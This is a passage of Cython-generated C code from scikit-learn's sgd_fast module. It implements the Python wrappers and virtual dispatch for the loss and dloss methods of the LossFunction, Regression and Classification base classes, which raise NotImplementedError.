(unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.LossFunction.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":66\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         \"\"\"Evaluate the derivative of the loss function with respect to\n *         the prediction `p`.\n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_12LossFunction_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self->__pyx_vtab)->dloss(__pyx_v_self, __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 66; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.LossFunction.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":87\n *     \"\"\"Base class for loss functions for regression\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_10Regression_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":88\n * \n *     cpdef double loss(self, double p, double y):\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 88; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno = 88; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Regression.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"loss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"loss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"loss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Regression.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":87\n *     \"\"\"Base class for loss functions for regression\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_loss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.loss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 87; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Regression.loss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":90\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_10Regression_dloss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__dloss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_3dloss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":91\n * \n *     cpdef double dloss(self, double p, double y):\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n * \n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 91; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno = 91; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n\n  __pyx_r = 0;\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_XDECREF(__pyx_t_2);\n  __Pyx_XDECREF(__pyx_t_3);\n  __Pyx_XDECREF(__pyx_t_4);\n  __Pyx_WriteUnraisable(\"sklearn.linear_model.sgd_fast.Regression.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = 0;\n  __pyx_L0:;\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* Python wrapper */\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_10Regression_3dloss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds) {\n  double __pyx_v_p;\n  double __pyx_v_y;\n  PyObject *__pyx_r = 0;\n  __Pyx_RefNannyDeclarations\n  __Pyx_RefNannySetupContext(\"dloss (wrapper)\", 0);\n  {\n    static PyObject **__pyx_pyargnames[] = {&__pyx_n_s__p,&__pyx_n_s__y,0};\n    PyObject* values[2] = {0,0};\n    if (unlikely(__pyx_kwds)) {\n      Py_ssize_t kw_args;\n      const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args);\n      switch (pos_args) {\n        case  2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n        case  1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n        case  0: break;\n        default: goto __pyx_L5_argtuple_error;\n      }\n      kw_args = PyDict_Size(__pyx_kwds);\n      switch (pos_args) {\n        case  0:\n        if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__p)) != 0)) kw_args--;\n        else goto __pyx_L5_argtuple_error;\n        case  1:\n        if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s__y)) != 0)) kw_args--;\n        else {\n          __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, 1); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n        }\n      }\n      if (unlikely(kw_args > 0)) {\n        if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, \"dloss\") < 0)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n      }\n    } else if (PyTuple_GET_SIZE(__pyx_args) != 2) {\n      goto __pyx_L5_argtuple_error;\n    } else {\n      values[0] = PyTuple_GET_ITEM(__pyx_args, 0);\n      values[1] = PyTuple_GET_ITEM(__pyx_args, 1);\n    }\n    __pyx_v_p = __pyx_PyFloat_AsDouble(values[0]); if (unlikely((__pyx_v_p == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n    __pyx_v_y = __pyx_PyFloat_AsDouble(values[1]); if (unlikely((__pyx_v_y == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  }\n  goto __pyx_L4_argument_unpacking_done;\n  __pyx_L5_argtuple_error:;\n  __Pyx_RaiseArgtupleInvalid(\"dloss\", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L3_error;}\n  __pyx_L3_error:;\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Regression.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __Pyx_RefNannyFinishContext();\n  return NULL;\n  __pyx_L4_argument_unpacking_done:;\n  __pyx_r = __pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_2dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *)__pyx_v_self), __pyx_v_p, __pyx_v_y);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":90\n *         raise NotImplementedError()\n * \n *     cpdef double dloss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pf_7sklearn_12linear_model_8sgd_fast_10Regression_2dloss(struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Regression *__pyx_v_self, double __pyx_v_p, double __pyx_v_y) {\n  PyObject *__pyx_r = NULL;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"dloss\", 0);\n  __Pyx_XDECREF(__pyx_r);\n  __pyx_t_1 = PyFloat_FromDouble(((struct __pyx_vtabstruct_7sklearn_12linear_model_8sgd_fast_Regression *)__pyx_v_self->__pyx_base.__pyx_vtab)->__pyx_base.dloss(((struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_LossFunction *)__pyx_v_self), __pyx_v_p, __pyx_v_y, 1)); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 90; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __pyx_r = __pyx_t_1;\n  __pyx_t_1 = 0;\n  goto __pyx_L0;\n\n  __pyx_r = Py_None; __Pyx_INCREF(Py_None);\n  goto __pyx_L0;\n  __pyx_L1_error:;\n  __Pyx_XDECREF(__pyx_t_1);\n  __Pyx_AddTraceback(\"sklearn.linear_model.sgd_fast.Regression.dloss\", __pyx_clineno, __pyx_lineno, __pyx_filename);\n  __pyx_r = NULL;\n  __pyx_L0:;\n  __Pyx_XGIVEREF(__pyx_r);\n  __Pyx_RefNannyFinishContext();\n  return __pyx_r;\n}\n\n/* \"sklearn/linear_model/sgd_fast.pyx\":97\n *     \"\"\"Base class for loss functions for classification\"\"\"\n * \n *     cpdef double loss(self, double p, double y):             # <<<<<<<<<<<<<<\n *         raise NotImplementedError()\n * \n */\n\nstatic PyObject *__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_1loss(PyObject *__pyx_v_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/\nstatic double __pyx_f_7sklearn_12linear_model_8sgd_fast_14Classification_loss(CYTHON_UNUSED struct __pyx_obj_7sklearn_12linear_model_8sgd_fast_Classification *__pyx_v_self, CYTHON_UNUSED double __pyx_v_p, CYTHON_UNUSED double __pyx_v_y, int __pyx_skip_dispatch) {\n  double __pyx_r;\n  __Pyx_RefNannyDeclarations\n  PyObject *__pyx_t_1 = NULL;\n  PyObject *__pyx_t_2 = NULL;\n  PyObject *__pyx_t_3 = NULL;\n  PyObject *__pyx_t_4 = NULL;\n  double __pyx_t_5;\n  int __pyx_lineno = 0;\n  const char *__pyx_filename = NULL;\n  int __pyx_clineno = 0;\n  __Pyx_RefNannySetupContext(\"loss\", 0);\n  /* Check if called by wrapper */\n  if (unlikely(__pyx_skip_dispatch)) ;\n  /* Check if overriden in Python */\n  else if (unlikely(Py_TYPE(((PyObject *)__pyx_v_self))->tp_dictoffset != 0)) {\n    __pyx_t_1 = PyObject_GetAttr(((PyObject *)__pyx_v_self), __pyx_n_s__loss); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n    __Pyx_GOTREF(__pyx_t_1);\n    if (!PyCFunction_Check(__pyx_t_1) || (PyCFunction_GET_FUNCTION(__pyx_t_1) != (PyCFunction)__pyx_pw_7sklearn_12linear_model_8sgd_fast_14Classification_1loss)) {\n      __pyx_t_2 = PyFloat_FromDouble(__pyx_v_p); if (unlikely(!__pyx_t_2)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_2);\n      __pyx_t_3 = PyFloat_FromDouble(__pyx_v_y); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __pyx_t_4 = PyTuple_New(2); if (unlikely(!__pyx_t_4)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_4);\n      PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2);\n      __Pyx_GIVEREF(__pyx_t_2);\n      PyTuple_SET_ITEM(__pyx_t_4, 1, __pyx_t_3);\n      __Pyx_GIVEREF(__pyx_t_3);\n      __pyx_t_2 = 0;\n      __pyx_t_3 = 0;\n      __pyx_t_3 = PyObject_Call(__pyx_t_1, ((PyObject *)__pyx_t_4), NULL); if (unlikely(!__pyx_t_3)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_GOTREF(__pyx_t_3);\n      __Pyx_DECREF(((PyObject *)__pyx_t_4)); __pyx_t_4 = 0;\n      __pyx_t_5 = __pyx_PyFloat_AsDouble(__pyx_t_3); if (unlikely((__pyx_t_5 == (double)-1) && PyErr_Occurred())) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 97; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n      __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0;\n      __pyx_r = __pyx_t_5;\n      __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n      goto __pyx_L0;\n    }\n    __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  }\n\n  /* \"sklearn/linear_model/sgd_fast.pyx\":98\n * \n *     cpdef double loss(self, double p, double y):\n *         raise NotImplementedError()             # <<<<<<<<<<<<<<\n * \n *     cpdef double dloss(self, double p, double y):\n */\n  __pyx_t_1 = PyObject_Call(__pyx_builtin_NotImplementedError, ((PyObject *)__pyx_empty_tuple), NULL); if (unlikely(!__pyx_t_1)) {__pyx_filename = __pyx_f[0]; __pyx_lineno = 98; __pyx_clineno = __LINE__; goto __pyx_L1_error;}\n  __Pyx_GOTREF(__pyx_t_1);\n  __Pyx_Raise(__pyx_t_1, 0, 0, 0);\n  __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0;\n  {__pyx_filename = __pyx_f[0]; __pyx_lineno 